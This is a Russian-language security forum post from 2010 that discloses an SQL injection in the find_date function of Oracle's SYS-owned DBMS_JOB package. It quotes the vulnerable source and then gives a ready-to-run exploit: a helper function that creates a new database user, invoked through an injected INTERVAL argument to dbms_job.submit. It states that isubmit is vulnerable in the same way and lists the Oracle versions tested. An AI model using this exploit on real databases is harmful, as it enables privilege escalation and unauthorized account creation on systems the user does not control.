HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

TARGET: ORACLE: DBMS_JOB PACKAGE, find_date FUNCTION sql-injection
  #1  
Старый 09.04.2010, 07:49
[ DSU ]
Участник форума
Регистрация: 22.10.2007
Сообщений: 159
С нами: 9765026

Репутация: 397
По умолчанию TARGET: ORACLE: DBMS_JOB PACKAGE, find_date FUNCTION sql-injection

Делать было нечего дело было вечером
Не люблю много писать так что по порядку, искал функцию уязвимую к sql-injection под свои нужды, наткнулся на таковую в пакете dbms_job который принадлежит sys пользователю, функция find_date

Код:
...
   30    CUR := DBMS_SQL.OPEN_CURSOR;
   31       BEGIN
   32 	
   33         DBMS_SYS_SQL.PARSE_AS_USER( CUR, 'select sysdate, ' || INTERVAL ||
   34 				    ' from dual', DBMS_SQL.NATIVE );
...
Уязвим параметр INTERVAL, но тут проблема функция не обьявлена в пакете то есть иё можно использовать только внутри пакета, под мои нужды это не подходит мб кому-то и подойдет . Но чтоб довести дело до победного конца нашел процедуру в пакете которая эту функцию использует, она там не одна но так как мне эта функция не подошла я взял первую попавшуюся
Код:
...
  134     MYDATE := FIND_DATE(INTERVAL);
  135     IF NOT NO_PARSE THEN
  136       PARSE_JOB(WHAT);
  137     END IF;
  138 
...
1. Создаем функцию, можно использовать и курсор но я предпочитаю старую школу
Код:
CREATE OR REPLACE FUNCTION fff return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'create user fff identified by fff';
COMMIT;
RETURN 'sys';
END;
/
2. Ну и собственно сам сплоит
Код:
DECLARE
 jobNo BINARY_INTEGER;
BEGIN
jobNo:=4242;
dbms_job.submit(jobNo, 'do_job;', TRUNC(SYSDATE+(1/24), 'HH'),'TRUNC(SYSDATE+(30/24/60),''MI'') from dual where chr(115)=sys.fff() --');
END;
DB Version: Oracle XE, Oracle 10gR2(возможно и более ранние)
OS: Win XP SP3, Solaris(тестировалось только на этом).

P.S Шедулер у меня выключен при попытки создать задачу на вин процедура выводила ошибку но функция выполнилась
Да процедура isubmit так-же уязвима тем же способом.
DSU from Ukrainian Security Community

Последний раз редактировалось [ DSU ]; 10.04.2010 в 09:36..
 
Ответить с цитированием
 



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.